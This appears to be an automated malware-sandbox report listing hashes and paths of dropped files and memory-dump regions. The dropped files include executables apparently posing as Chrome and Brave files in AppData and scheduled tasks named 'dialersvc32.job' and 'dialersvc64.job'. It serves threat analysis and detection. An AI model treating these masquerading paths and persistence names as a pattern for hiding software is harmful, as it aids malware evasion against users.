SHA256 2fd1b6f7157d5de8567a669744fd024eea47ff7c8b529a3af4487af212e593b5
MD5 7887d9701e915743725f3b7b4d4084d3
SHA1 8000a68be6bcb4dd69afa7e37c70eef1c3d27624
SHA512 1dc1b1fff65573d6dd64a2217baadc988a1d8005854c073d21904c4a5cc4d083f94148603c08cfeaf5f28041e5a8d67d29e76cc8f491851ba4f58de478ac822f
SSDEEP 96:IxmxCoBM8XnqvsqvJCwoW0v00xmxCoBM8XnqvsEHyqvJCwor80v0V3AVQHEz70/f:4YjUozYjAHnorKixz70/f
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 2fd1b6f7157d5de8567a669744fd024eea47ff7c8b529a3af4487af212e593b5
MD5 7887d9701e915743725f3b7b4d4084d3
SHA1 8000a68be6bcb4dd69afa7e37c70eef1c3d27624
SHA512 1dc1b1fff65573d6dd64a2217baadc988a1d8005854c073d21904c4a5cc4d083f94148603c08cfeaf5f28041e5a8d67d29e76cc8f491851ba4f58de478ac822f
SSDEEP 96:IxmxCoBM8XnqvsqvJCwoW0v00xmxCoBM8XnqvsEHyqvJCwor80v0V3AVQHEz70/f:4YjUozYjAHnorKixz70/f
MD5 SHA1 SHA512 SSDEEP

Submit Download

dialersvc32.job

Path C:\Windows\Tasks\dialersvc32.job
Size 1KB
SHA256 1d6679ff7edc8bdcfae10e215b0dde4ba9cc97fba990df54d632645e3a475d8c
MD5 abb8d16cc602c97a92016a9f2e2b663d
SHA1 06f47c8c640a6923288bd3d143643cfe7c6bc6d4
SHA512 5d68ab9c3cab587e0c272c78dd5b35997aada980b7644791cae09e6b6126d1b9ff98d9a9a5eace8a24bb39d280ca9440644bcc213c6e1dba1e06892276d3aab0
MD5 SHA1 SHA512

Submit Download

dialersvc64.job

Path C:\Windows\Tasks\dialersvc64.job
Size 1KB
SHA256 7f5320313e29f088984a395075c377a4bdb9c23b57dc23ddd209416eefabb56f
MD5 138c2f38a4eaf306607961d94c2e08a9
SHA1 eeb038997ef664367ad8e69506c9ba304459c55e
SHA512 d690cad6ce80d323d627d854cd7507c4eb25f3ea94d10d1ce1d18f2520d813b70fca027fa1d208d5fe1209a6d1b27109cd3e14d9f01ecf118ec73306b3112833
MD5 SHA1 SHA512

Submit Download

updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path \Users\Admin\AppData\Local\Google\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

Path \Users\Admin\AppData\Local\Google\chrome.exe
Size 6.1MB
SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
MD5 8cd1ea50f8f4c45055400e70da52b326
SHA1 40af98091e8c32ce9c90502b3d851ebc231cacf9
SHA512 b0be3acccf8ce64343b10e33b7cd5e7292164259d65c07e0c63c08dc05bfa0cf268290b3a37f20f6afa81d7163be8c90ac9ae9a7fb93c3e61cbc08310a2beaf1
SSDEEP 98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path \Users\Admin\AppData\Local\Google\ofg.exe
Size 86KB
SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
MD5 33dad992607d0ffd44d2c81fe67f8fb1
SHA1 e5b67dc05505fb1232504231f41cba225c282d3c
SHA512 444973b44292c433a07e5f75f6580ea71799b1f835677bc5b2e42af6b567a2f70f1b038f019d250a18216701ccf901b300632487eebcc1113ac803edb43159e4
SSDEEP 1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/292-239-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/292-233-0x0000000000C10000-0x0000000000C3A000-memory.dmp

Download

memory/316-82-0x00000000023E4000-0x00000000023E7000-memory.dmp

Download

memory/316-80-0x00000000023E4000-0x00000000023E7000-memory.dmp

Download

memory/316-79-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmp

Download

memory/316-81-0x000000001B800000-0x000000001BAFF000-memory.dmp

Download

memory/316-77-0x000007FEFB731000-0x000007FEFB733000-memory.dmp

Download

memory/316-83-0x00000000023EB000-0x000000000240A000-memory.dmp

Download

memory/316-78-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmp

Download

memory/416-188-0x0000000000A10000-0x0000000000A3A000-memory.dmp

Download

memory/416-152-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/416-181-0x00000000008C0000-0x00000000008E3000-memory.dmp

Download

memory/416-148-0x00000000008C0000-0x00000000008E3000-memory.dmp

Download

memory/416-151-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/428-138-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/428-190-0x0000000076D10000-0x0000000076EB9000-memory.dmp

Download

memory/428-265-0x0000000000330000-0x000000000035A000-memory.dmp

Download

memory/428-145-0x0000000076BF0000-0x0000000076D0F000-memory.dmp

Download

memory/428-143-0x0000000076D10000-0x0000000076EB9000-memory.dmp

Download

memory/428-141-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/428-180-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/452-240-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/452-236-0x00000000002C0000-0x00000000002EA000-memory.dmp

Download

memory/460-199-0x0000000000150000-0x000000000017A000-memory.dmp

Download

memory/460-156-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/460-155-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/476-209-0x0000000000120000-0x000000000014A000-memory.dmp

Download

memory/476-159-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/476-160-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/484-215-0x00000000005B0000-0x00000000005DA000-memory.dmp

Download

memory/484-166-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/484-169-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/600-214-0x0000000000540000-0x000000000056A000-memory.dmp

Download

memory/600-168-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/600-165-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/628-325-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/628-329-0x0000000076EF0000-0x0000000077070000-memory.dmp

Download

memory/680-175-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/680-221-0x00000000003F0000-0x000000000041A000-memory.dmp

Download

memory/680-174-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/756-220-0x00000000008B0000-0x00000000008DA000-memory.dmp

Download

memory/756-176-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/756-173-0x000007FEBDBF0000-0x000007FEBDC00000-memory.dmp

Download

memory/820-226-0x0000000000AD0000-0x0000000000AFA000-memory.dmp

Download

memory/840-121-0x00000000027FB000-0x000000000281A000-memory.dmp

Download

memory/840-117-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmp

Download

memory/840-118-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmp

Download

memory/840-119-0x000000001B870000-0x000000001BB6F000-memory.dmp

Download

memory/840-123-0x00000000027FB000-0x000000000281A000-memory.dmp

Download

memory/840-120-0x00000000027F4000-0x00000000027F7000-memory.dmp

Download

memory/848-331-0x00000000001F0000-0x0000000000211000-memory.dmp

Download

memory/860-231-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/860-230-0x00000000007F0000-0x000000000081A000-memory.dmp

Download

memory/896-227-0x0000000000950000-0x000000000097A000-memory.dmp

Download

memory/960-257-0x0000000000160000-0x000000000018A000-memory.dmp

Download

memory/960-264-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/960-301-0x0000000000160000-0x000000000018A000-memory.dmp

Download

memory/1056-232-0x00000000007A0000-0x00000000007CA000-memory.dmp

Download

memory/1108-246-0x00000000008D0000-0x00000000008FA000-memory.dmp

Download

memory/1128-250-0x0000000000140000-0x000000000016A000-memory.dmp

Download

memory/1148-332-0x0000000000730000-0x000000000075A000-memory.dmp

Download

memory/1160-241-0x0000000001EE0000-0x0000000001F0A000-memory.dmp

Download

memory/1232-242-0x0000000001D70000-0x0000000001D9A000-memory.dmp

Download

memory/1284-262-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/1284-245-0x0000000002AA0000-0x0000000002ACA000-memory.dmp

Download

memory/1388-282-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/1388-281-0x0000000000100000-0x000000000012A000-memory.dmp

Download

memory/1400-326-0x0000000000080000-0x000000000009B000-memory.dmp

Download

memory/1400-327-0x00000000000A0000-0x00000000000C1000-memory.dmp

Download

memory/1432-267-0x0000000000410000-0x000000000043A000-memory.dmp

Download

memory/1604-284-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/1604-287-0x00000000011DB000-0x00000000011FA000-memory.dmp

Download

memory/1604-280-0x00000000011D4000-0x00000000011D7000-memory.dmp

Download

memory/1604-283-0x0000000000A20000-0x0000000000A4A000-memory.dmp

Download

memory/1604-286-0x00000000011D4000-0x00000000011D7000-memory.dmp

Download

memory/1640-249-0x00000000002E0000-0x000000000030A000-memory.dmp

Download

memory/1640-263-0x0000000036D50000-0x0000000036D60000-memory.dmp

Download

memory/1736-57-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/1736-63-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/1736-55-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/1736-64-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/1780-135-0x0000000073940000-0x0000000073EEB000-memory.dmp

Download

memory/1780-297-0x0000000076EF0000-0x0000000077070000-memory.dmp

Download

memory/1780-293-0x0000000073940000-0x0000000073EEB000-memory.dmp

Download

memory/1848-334-0x0000000000100000-0x000000000012A000-memory.dmp

Download

memory/1972-266-0x0000000000B00000-0x0000000000B2A000-memory.dmp

Download

memory/1980-131-0x000007FEF3100000-0x000007FEF3B23000-memory.dmp

Download

memory/1980-134-0x0000000001124000-0x0000000001127000-memory.dmp

Download

memory/1980-142-0x0000000001124000-0x0000000001127000-memory.dmp

Download

memory/1980-133-0x000007FEF25A0000-0x000007FEF30FD000-memory.dmp

Download

memory/1980-136-0x0000000076D10000-0x0000000076EB9000-memory.dmp

Download

memory/1980-147-0x0000000076BF0000-0x0000000076D0F000-memory.dmp

Download

memory/1980-144-0x000000000112B000-0x000000000114A000-memory.dmp

Download

memory/1980-137-0x0000000076BF0000-0x0000000076D0F000-memory.dmp

Download

memory/1980-146-0x0000000076D10000-0x0000000076EB9000-memory.dmp

Download

memory/2000-54-0x0000000075DF1000-0x0000000075DF3000-memory.dmp

Download

memory/2044-108-0x0000000002924000-0x0000000002927000-memory.dmp

Download

memory/2044-93-0x000007FEF25A0000-0x000007FEF30FD000-memory.dmp

Download

memory/2044-109-0x000000000292B000-0x000000000294A000-memory.dmp

Download

memory/2044-92-0x000007FEF3100000-0x000007FEF3B23000-memory.dmp

Download

memory/2044-99-0x0000000002924000-0x0000000002927000-memory.dmp

Download

memory/2044-103-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Download